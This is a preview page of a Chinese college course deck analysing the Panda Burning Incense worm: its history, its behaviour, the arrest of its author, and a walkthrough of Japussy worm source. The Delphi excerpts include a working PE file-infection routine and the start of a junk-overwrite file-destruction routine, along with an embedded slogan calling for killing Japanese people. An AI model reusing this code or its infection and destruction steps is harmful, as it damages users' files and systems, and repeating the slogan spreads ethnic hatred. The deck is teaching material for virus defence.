熊猫烧香病毒剖析

整理文档很辛苦,赏杯茶钱您下走!

免费阅读已结束,点击下载阅读编辑剩下 ...

阅读已结束,您可以下载文档离线阅读编辑

资源描述

Virus计算机病毒与防治重庆电子工程职业学院计算机病毒与防治课程小组教学单元4-4蠕虫病毒防治熊猫烧香病毒源码分析熊猫烧香病毒特点熊猫烧香病毒行为分析第二讲熊猫烧香蠕虫病毒剖析计算机病毒与防治课程小组熊猫烧香病毒的手工清除熊猫烧香病毒特点计算机病毒与防治课程小组病毒名称熊猫烧香又称尼姆亚、武汉男生、worm.whBoy.、worm.nimaya.病毒类型蠕虫病毒危险级别★★★★★影响系统Win9X/ME/NT/2000/XP/2003熊猫烧香病毒特点计算机病毒与防治课程小组2006年底,我国互联网上大规模爆发“熊猫烧香”病毒及其变种,该病毒通过多种方式进行传播,同时该病毒还具有盗取用户游戏账号、QQ账号等功能。该病毒传播速度快,危害范围广,截至案发为止,已有上百万个人用户、网吧及企业局域网用户遭受感染和破坏,引起社会各界高度关注。《瑞星2006安全报告》将其列为十大病毒之首,在《2006年度中国大陆地区电脑病毒疫情和互联网安全报告》的十大病毒排行中一举成为“毒王”。熊猫烧香病毒特点计算机病毒与防治课程小组熊猫烧香一个感染型的蠕虫病毒,它能感染系统中exe,com,pif,src,html,asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件,该文件是一系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。熊猫烧香病毒特点计算机病毒与防治课程小组湖北省公安厅2007年2月12日宣布,根据统一部署,湖北省网监在多个省市公安机关的配合下,一举侦破了制作传播“熊猫烧香”病毒案,抓获李俊(男,25岁,武汉新洲区人)。病毒制造者熊猫烧香病毒源码分析计算机病毒与防治课程小组含有病毒体的文件被运行后,病毒将自身拷贝至系统目录,同时修改注册表将自身设置为开机启动项,并遍历各个驱动器,将自身写入磁盘根目录下,增加一个Autorun.inf文件,使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染,同时开另外一个线程连接网站下载ddos程序进行发动恶意攻击。病毒结构开始当前操作系统是否为win9x把自己注册为服务进程当前文件是否为Japussy.exeInfectFiles结束通过远程映射技术将自己映射到Explorer进程空间病毒程序已经寄生于宿主程序,从已感染的宿主文件中分离出无毒的真正的宿主文件,并启动这个无毒的宿主程序。否是否是主程序流程图熊猫烧香病毒源码分析计算机病毒与防治课程小组Programjapussy;useswindows,sysutils,classes,graphics,shellapi{,registry};constheadersize=82432;//病毒体的大小iconoffset=$12eb8;//pe文件主图标的偏移量//查找2800000020的十六进制字符串可以找到主图标的偏移量{headersize=38912;//upx压缩过病毒体的大小iconoffset=$92bc;//upx压缩过pe文件主图标的偏移量}iconsize=$2e8;//pe文件主图标的大小--744字节icontail=iconoffset+iconsize;//pe文件主图标的尾部id=$44444444;//感染标记病毒文件初始信息熊猫烧香病毒源码分析计算机病毒与防治课程小组//垃圾码,以备写入catchword='ifaraceneedtobekilledout,itmustbeyamato.'+'ifacountryneedtobedestroyed,itmustbejapan!'+'***w32.japussy.worm.a***';{$r*.res}functionregisterserviceprocess(dwprocessid,dwtype:integer):integer;stdcall;external'kernel32.dll';//函数声明vartmpfile:string;si:startupinfo;pi:process_information;isjap:boolean=false;//日文操作系统标记熊猫烧香病毒源码分析计算机病毒与防治课程小组{=====判断是否为win9x=====}functioniswin9x:boolean;varver:tosversioninfo;beginresult:=false;ver.dwosversioninfosize:=sizeof(tosversioninfo);ifnotgetversionex(ver)thenexit;if(ver.dwplatformid=ver_platform_win32_windows)then//win9xresult:=true;end;熊猫烧香病毒源码分析计算机病毒与防治课程小组{=====在流之间复制=====}procedurecopystream(src:tstream;sstartpos:integer;dst:tstream;dstartpos:integer;count:integer);varscurpos,dcurpos:integer;beginscurpos:=src.position;dcurpos:=dst.position;src.seek(sstartpos,0);dst.seek(dstartpos,0);dst.copyfrom(src,count);src.seek(scurpos,0);dst.seek(dcurpos,0);end;熊猫烧香病毒源码分析计算机病毒与防治课程小组{======将宿主文件从已感染的PE文件中分离出来,以备使用=====}procedureextractfile(filename:string);varsstream,dstream:tfilestream;begintrysstream:=tfilestream.create(paramstr(0),fmopenreadorfmsharedenynone);trydstream:=tfilestream.create(filename,fmcreate);trysstream.seek(headersize,0);//跳过头部的病毒部分dstream.copyfrom(sstream,sstream.size-headersize);finallydstream.free;end;finallysstream.free;end;熊猫烧香病毒源码分析计算机病毒与防治课程小组{=====填充startupinfo结构=====}procedurefillstartupinfo(varsi:startupinfo;state:word);beginsi.cb:=sizeof(si);si.lpreserved:=nil;si.lpdesktop:=nil;si.lptitle:=nil;si.dwflags:=startf_useshowwindow;si.wshowwindow:=state;si.cbreserved2:=0;si.lpreserved2:=nil;end;{=====发带毒邮件=====}proceduresendmail;//此处省略了带危害性的代码beginend;熊猫烧香病毒源码分析计算机病毒与防治课程小组{=====感染PE文件=====}procedureinfectonefile(filename:string);varhdrstream,srcstream:tfilestream;icostream,dststream:tmemorystream;iid:longint;aicon:ticon;infected,ispe:boolean;i:integer;buf:array[0..1]ofchar;begintry//出错则文件正在被使用,退出ifcomparetext(filename,'japussy.exe')=0then//是自己则不感染exit;infected:=false;ispe:=false;熊猫烧香病毒源码分析计算机病毒与防治课程小组srcstream:=tfilestream.create(filename,fmopenread);tryfori:=0to$108do//检查pe文件头beginsrcstream.seek(i,sofrombeginning);srcstream.read(buf,2);if(buf[0]=#80)and(buf[1]=#69)then//pe标记beginispe:=true;//是pe文件break;end;end;srcstream.seek(-4,sofromend);//检查感染标记srcstream.read(iid,4);if(iid=id)or(srcstream.size10240)then//太小的文件不感染infected:=true;finallysrcstream.free;end;熊猫烧香病毒源码分析计算机病毒与防治课程小组ifinfectedor(notispe)then//如果感染过了或不是pe文件则退出exit;icostream:=tmemorystream.create;dststream:=tmemorystream.create;tryaicon:=ticon.create;try//得到被感染文件的主图标(744字节),存入流aicon.releasehandle;aicon.handle:=extracticon(hinstance,pchar(filename),0);aicon.savetostream(icostream);finallyaicon.free;end;熊猫烧香病毒源码分析计算机病毒与防治课程小组srcstream:=tfilestream.create(filename,fmopenread);//头文件hdrstream:=tfilestream.create(paramstr(0),fmopenreadorfmsharedenynone);try//写入病毒体主图标之前的数据copystream(hdrstream,0,dststream,0,iconoffset);//写入目前程序的主图标copystream(icostream,22,dststream,iconoffset,iconsize);//写入病毒体主图标到病毒体尾部之间的数据copystream(hdrstream,icontail,dststream,icontail,headersize-icontail);//写入宿主程序copystream(srcstream,0,dststream,headersize,srcstream.size);//写入已感染的标记dststream.seek(0,2);iid:=$44444444;dststream.write(iid,4);finally熊猫烧香病毒源码分析计算机病毒与防治课程小组{=====将目标文件写入垃圾码后删除======}proceduresmashfile(filename:string);varfilehandle:integer;i,size,mass,max,len:integer;Begintrysetfileattributes(pchar(filename),0);//去掉只读属性filehandle:=fileopen(filename,fmopenwrite);//打开文件trysize:=getfilesize(filehandle,nil);//文件大小i:=0;randomize;max:=random(15);//写入垃圾码的随机次数ifmax5thenmax:=5;熊猫烧香病毒源码分析计算机病毒与防治课程小组mass:=sizedivmax;//每个间隔块

1 / 39
下载文档,编辑使用

©2015-2020 m.777doc.com 三七文档.

备案号:鲁ICP备2024069028号-1 客服联系 QQ:2149211541

×
保存成功